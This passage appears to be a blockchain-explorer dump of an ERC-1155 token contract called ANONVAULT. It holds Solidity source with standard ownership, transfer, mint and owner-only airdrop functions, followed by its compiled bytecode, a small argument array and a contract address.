(bytes4); function onERC1155BatchReceived(address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data) external returns (bytes4); } interface IERC1155MetadataURI { function uri(uint256 id) external view returns (string memory); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is 0x address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract Functional { function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } bool private _reentryKey = false; modifier reentryLock { require(!_reentryKey, "attempt reenter locked function"); _reentryKey = true; _; _reentryKey = false; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } //***************************************************************************************** //***************************** CONTRACT CODE STARTS HERE ********************************* //***************************************************************************************** contract ANONVAULT is Functional, Ownable, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; string private _uri; //This has to stay here because functions here depend on it string public name; string public symbol; constructor() { _setURI("https://collectorsclub.io/api/vault/metadata?seriesId="); name = "Anonymous Collectors Private Vault"; symbol = "ACPV"; } function airdrop(address[] memory holderlist, uint256 seriesId) external onlyOwner { for(uint256 i; i < holderlist.length; i++){ _mint(holderlist[i], seriesId, 1, ""); } } function changeURI(string memory newURI) external onlyOwner { _setURI(newURI); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256 seriesId) public view virtual override returns (string memory) { return string(abi.encodePacked( _uri, toString(seriesId) )); } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } }
0x608060405234801561001057600080fd5b50600436106100f45760003560e01c80638da5cb5b11610097578063e5e01c1111610066578063e5e01c1114610218578063e985e9c51461022b578063f242432a14610274578063f2fde38b1461028757600080fd5b80638da5cb5b146101a757806395d89b41146101ea578063a22cb465146101f2578063c204642c1461020557600080fd5b80630e89341c116100d35780630e89341c146101575780632eb2c2d61461016a5780634e1273f41461017f578063715018a61461019f57600080fd5b8062fdd58e146100f957806301ffc9a71461011f57806306fdde0314610142575b600080fd5b61010c610107366004611b87565b61029a565b6040519081526020015b60405180910390f35b61013261012d366004611c5a565b61035f565b6040519015158152602001610116565b61014a610444565b6040516101169190611f68565b61014a610165366004611cdd565b6104d2565b61017d610178366004611a3c565b610506565b005b61019261018d366004611bb1565b6105b5565b6040516101169190611f30565b61017d6106f3565b600054610100900473ffffffffffffffffffffffffffffffffffffffff1660405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610116565b61014a61076c565b61017d610200366004611b4b565b610779565b61017d610213366004611c15565b61089c565b61017d610226366004611c94565b610961565b610132610239366004611a09565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260026020908152604080832093909416825291909152205460ff1690565b61017d610282366004611ae6565b6109da565b61017d6102953660046119ee565b610a82565b600073ffffffffffffffffffffffffffffffffffffffff831661032a5760405162461bcd60e51b815260206004820152602b60248201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60448201527f65726f206164647265737300000000000000000000000000000000000000000060648201526084015b60405180910390fd5b50600090815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff949094168352929052205490565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167fd9b67a260000000000000000000000000000000000000000000000000000000014806103f257507fffffffff0000000000000000000000000000000000000000000000000000000082167f0e89341c00000000000000000000000000000000000000000000000000000000145b8061043e57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b6004805461045190612012565b80601f016020809104026020016040519081016040528092919081815260200182805461047d90612012565b80156104ca5780601f1061049f576101008083540402835291602001916104ca565b820191906000526020600020905b8154815290600101906020018083116104ad57829003601f168201915b505050505081565b606060036104df83610b5b565b6040516020016104f0929190611d97565b6040516020818303038152906040529050919050565b73ffffffffffffffffffffffffffffffffffffffff851633148061052f575061052f8533610239565b6105a15760405162461bcd60e51b815260206004820152603260248201527f455243313135353a207472616e736665722063616c6c6572206973206e6f742060448201527f6f776e6572206e6f7220617070726f76656400000000000000000000000000006064820152608401610321565b6105ae8585858585610c95565b5050505050565b6060815183511461062e5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a206163636f756e747320616e6420696473206c656e67746860448201527f206d69736d6174636800000000000000000000000000000000000000000000006064820152608401610321565b6000835167ffffffffffffffff81111561064a5761064a61218b565b604051908082528060200260200182016040528015610673578160200160208202803683370190505b50905060005b84518110156106eb576106be8582815181106106975761069761215c565b60200260200101518583815181106106b1576106b161215c565b602002602001015161029a565b8282815181106106d0576106d061215c565b60209081029190910101526106e4816120b1565b9050610679565b509392505050565b60005473ffffffffffffffffffffffffffffffffffffffff6101009091041633146107605760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610321565b61076a6000610f84565b565b6005805461045190612012565b3373ffffffffffffffffffffffffffffffffffffffff831614156108055760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2073657474696e6720617070726f76616c2073746174757360448201527f20666f722073656c6600000000000000000000000000000000000000000000006064820152608401610321565b33600081815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60005473ffffffffffffffffffffffffffffffffffffffff6101009091041633146109095760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610321565b60005b825181101561095c5761094a83828151811061092a5761092a61215c565b602002602001015183600160405180602001604052806000815250611001565b80610954816120b1565b91505061090c565b505050565b60005473ffffffffffffffffffffffffffffffffffffffff6101009091041633146109ce5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610321565b6109d781611150565b50565b73ffffffffffffffffffffffffffffffffffffffff8516331480610a035750610a038533610239565b610a755760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201527f20617070726f76656400000000000000000000000000000000000000000000006064820152608401610321565b6105ae8585858585611167565b60005473ffffffffffffffffffffffffffffffffffffffff610100909104163314610aef5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610321565b73ffffffffffffffffffffffffffffffffffffffff8116610b525760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a206e6577206f776e657220697320307820616464726573736044820152606401610321565b6109d781610f84565b606081610b9b57505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115610bc55780610baf816120b1565b9150610bbe9050600a83611fb7565b9150610b9f565b60008167ffffffffffffffff811115610be057610be061218b565b6040519080825280601f01601f191660200182016040528015610c0a576020820181803683370190505b5090505b8415610c8d57610c1f600183611fcb565b9150610c2c600a866120ea565b610c37906030611f9f565b60f81b818381518110610c4c57610c4c61215c565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350610c86600a86611fb7565b9450610c0e565b949350505050565b8151835114610d0c5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060448201527f6d69736d617463680000000000000000000000000000000000000000000000006064820152608401610321565b73ffffffffffffffffffffffffffffffffffffffff8416610d955760405162461bcd60e51b815260206004820152602560248201527f455243313135353a207472616e7366657220746f20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610321565b3360005b8451811015610eef576000858281518110610db657610db661215c565b602002602001015190506000858381518110610dd457610dd461215c565b602090810291909101810151600084815260018352604080822073ffffffffffffffffffffffffffffffffffffffff8e168352909352919091205490915081811015610e885760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60448201527f72207472616e73666572000000000000000000000000000000000000000000006064820152608401610321565b600083815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8e8116855292528083208585039055908b16825281208054849290610ed4908490611f9f565b9250508190555050505080610ee8906120b1565b9050610d99565b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051610f66929190611f43565b60405180910390a4610f7c818787878787611368565b505050505050565b6000805473ffffffffffffffffffffffffffffffffffffffff8381166101008181027fffffffffffffffffffffff0000000000000000000000000000000000000000ff851617855560405193049190911692909183917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35050565b73ffffffffffffffffffffffffffffffffffffffff841661108a5760405162461bcd60e51b815260206004820152602160248201527f455243313135353a206d696e7420746f20746865207a65726f2061646472657360448201527f73000000000000000000000000000000000000000000000000000000000000006064820152608401610321565b336110a48160008761109b886115b4565b6105ae886115b4565b600084815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff89168452909152812080548592906110e3908490611f9f565b9091555050604080518581526020810185905273ffffffffffffffffffffffffffffffffffffffff80881692600092918516917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a46105ae816000878787876115ff565b80516111639060039060208401906117a1565b5050565b73ffffffffffffffffffffffffffffffffffffffff84166111f05760405162461bcd60e51b815260206004820152602560248201527f455243313135353a207472616e7366657220746f20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610321565b3361120081878761109b886115b4565b600084815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8a168452909152902054838110156112a65760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60448201527f72207472616e73666572000000000000000000000000000000000000000000006064820152608401610321565b600085815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8b81168552925280832087850390559088168252812080548692906112f2908490611f9f565b9091555050604080518681526020810186905273ffffffffffffffffffffffffffffffffffffffff808916928a821692918616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a461135f8288888888886115ff565b50505050505050565b73ffffffffffffffffffffffffffffffffffffffff84163b15610f7c576040517fbc197c8100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063bc197c81906113df9089908990889088908890600401611e75565b602060405180830381600087803b1580156113f957600080fd5b505af1925050508015611447575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820190925261144491810190611c77565b60015b6114fd576114536121ba565b806308c379a0141561148d57506114686121d6565b80611473575061148f565b8060405162461bcd60e51b81526004016103219190611f68565b505b60405162461bcd60e51b815260206004820152603460248201527f455243313135353a207472616e7366657220746f206e6f6e204552433131353560448201527f526563656976657220696d706c656d656e7465720000000000000000000000006064820152608401610321565b7fffffffff0000000000000000000000000000000000000000000000000000000081167fbc197c81000000000000000000000000000000000000000000000000000000001461135f5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a204552433131353552656365697665722072656a6563746560448201527f6420746f6b656e730000000000000000000000000000000000000000000000006064820152608401610321565b604080516001808252818301909252606091600091906020808301908036833701905050905082816000815181106115ee576115ee61215c565b602090810291909101015292915050565b73ffffffffffffffffffffffffffffffffffffffff84163b15610f7c576040517ff23a6e6100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063f23a6e61906116769089908990889088908890600401611ee0565b602060405180830381600087803b15801561169057600080fd5b505af19250505080156116de575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682019092526116db91810190611c77565b60015b6116ea576114536121ba565b7fffffffff0000000000000000000000000000000000000000000000000000000081167ff23a6e61000000000000000000000000000000000000000000000000000000001461135f5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a204552433131353552656365697665722072656a6563746560448201527f6420746f6b656e730000000000000000000000000000000000000000000000006064820152608401610321565b8280546117ad90612012565b90600052602060002090601f0160209004810192826117cf5760008555611815565b82601f106117e857805160ff1916838001178555611815565b82800160010185558215611815579182015b828111156118155782518255916020019190600101906117fa565b50611821929150611825565b5090565b5b808211156118215760008155600101611826565b600067ffffffffffffffff8311156118545761185461218b565b60405161188960207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8701160182612066565b80915083815284848401111561189e57600080fd5b83836020830137600060208583010152509392505050565b803573ffffffffffffffffffffffffffffffffffffffff811681146118da57600080fd5b919050565b600082601f8301126118f057600080fd5b813560206118fd82611f7b565b60405161190a8282612066565b8381528281019150858301600585901b8701840188101561192a57600080fd5b60005b858110156119505761193e826118b6565b8452928401929084019060010161192d565b5090979650505050505050565b600082601f83011261196e57600080fd5b8135602061197b82611f7b565b6040516119888282612066565b8381528281019150858301600585901b870184018810156119a857600080fd5b60005b85811015611950578135845292840192908401906001016119ab565b600082601f8301126119d857600080fd5b6119e78383356020850161183a565b9392505050565b600060208284031215611a0057600080fd5b6119e7826118b6565b60008060408385031215611a1c57600080fd5b611a25836118b6565b9150611a33602084016118b6565b90509250929050565b600080600080600060a08688031215611a5457600080fd5b611a5d866118b6565b9450611a6b602087016118b6565b9350604086013567ffffffffffffffff80821115611a8857600080fd5b611a9489838a0161195d565b94506060880135915080821115611aaa57600080fd5b611ab689838a0161195d565b93506080880135915080821115611acc57600080fd5b50611ad9888289016119c7565b9150509295509295909350565b600080600080600060a08688031215611afe57600080fd5b611b07866118b6565b9450611b15602087016118b6565b93506040860135925060608601359150608086013567ffffffffffffffff811115611b3f57600080fd5b611ad9888289016119c7565b60008060408385031215611b5e57600080fd5b611b67836118b6565b915060208301358015158114611b7c57600080fd5b809150509250929050565b60008060408385031215611b9a57600080fd5b611ba3836118b6565b946020939093013593505050565b60008060408385031215611bc457600080fd5b823567ffffffffffffffff80821115611bdc57600080fd5b611be8868387016118df565b93506020850135915080821115611bfe57600080fd5b50611c0b8582860161195d565b9150509250929050565b60008060408385031215611c2857600080fd5b823567ffffffffffffffff811115611c3f57600080fd5b611c4b858286016118df565b95602094909401359450505050565b600060208284031215611c6c57600080fd5b81356119e78161227e565b600060208284031215611c8957600080fd5b81516119e78161227e565b600060208284031215611ca657600080fd5b813567ffffffffffffffff811115611cbd57600080fd5b8201601f81018413611cce57600080fd5b610c8d8482356020840161183a565b600060208284031215611cef57600080fd5b5035919050565b600081518084526020808501945080840160005b83811015611d2657815187529582019590820190600101611d0a565b509495945050505050565b60008151808452611d49816020860160208601611fe2565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60008151611d8d818560208601611fe2565b9290920192915050565b600080845481600182811c915080831680611db357607f831692505b6020808410821415611dec577f4e487b710000000000000000000000000000000000000000000000000000000086526022600452602486fd5b818015611e005760018114611e2f57611e5c565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00861689528489019650611e5c565b60008b81526020902060005b86811015611e545781548b820152908501908301611e3b565b505084890196505b505050505050611e6c8185611d7b565b95945050505050565b600073ffffffffffffffffffffffffffffffffffffffff808816835280871660208401525060a06040830152611eae60a0830186611cf6565b8281036060840152611ec08186611cf6565b90508281036080840152611ed48185611d31565b98975050505050505050565b600073ffffffffffffffffffffffffffffffffffffffff808816835280871660208401525084604083015283606083015260a06080830152611f2560a0830184611d31565b979650505050505050565b6020815260006119e76020830184611cf6565b604081526000611f566040830185611cf6565b8281036020840152611e6c8185611cf6565b6020815260006119e76020830184611d31565b600067ffffffffffffffff821115611f9557611f9561218b565b5060051b60200190565b60008219821115611fb257611fb26120fe565b500190565b600082611fc657611fc661212d565b500490565b600082821015611fdd57611fdd6120fe565b500390565b60005b83811015611ffd578181015183820152602001611fe5565b8381111561200c576000848401525b50505050565b600181811c9082168061202657607f821691505b60208210811415612060577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f830116810181811067ffffffffffffffff821117156120aa576120aa61218b565b6040525050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156120e3576120e36120fe565b5060010190565b6000826120f9576120f961212d565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600060033d11156121d35760046000803e5060005160e01c5b90565b600060443d10156121e45790565b6040517ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc803d016004833e81513d67ffffffffffffffff816024840111818411171561223257505050505090565b828501915081518181111561224a5750505050505090565b843d87010160208285010111156122645750505050505090565b61227360208286010187612066565b509095945050505050565b7fffffffff00000000000000000000000000000000000000000000000000000000811681146109d757600080fdfea26469706673582212203d8ff3b524a17cf4c8e09647af0968132c22525ed2ee6a6a755533756fc51a4e64736f6c63430008070033
[ 5, 12 ]
0xf3b25ae2c7cf88336e1906b02f196062ce395521
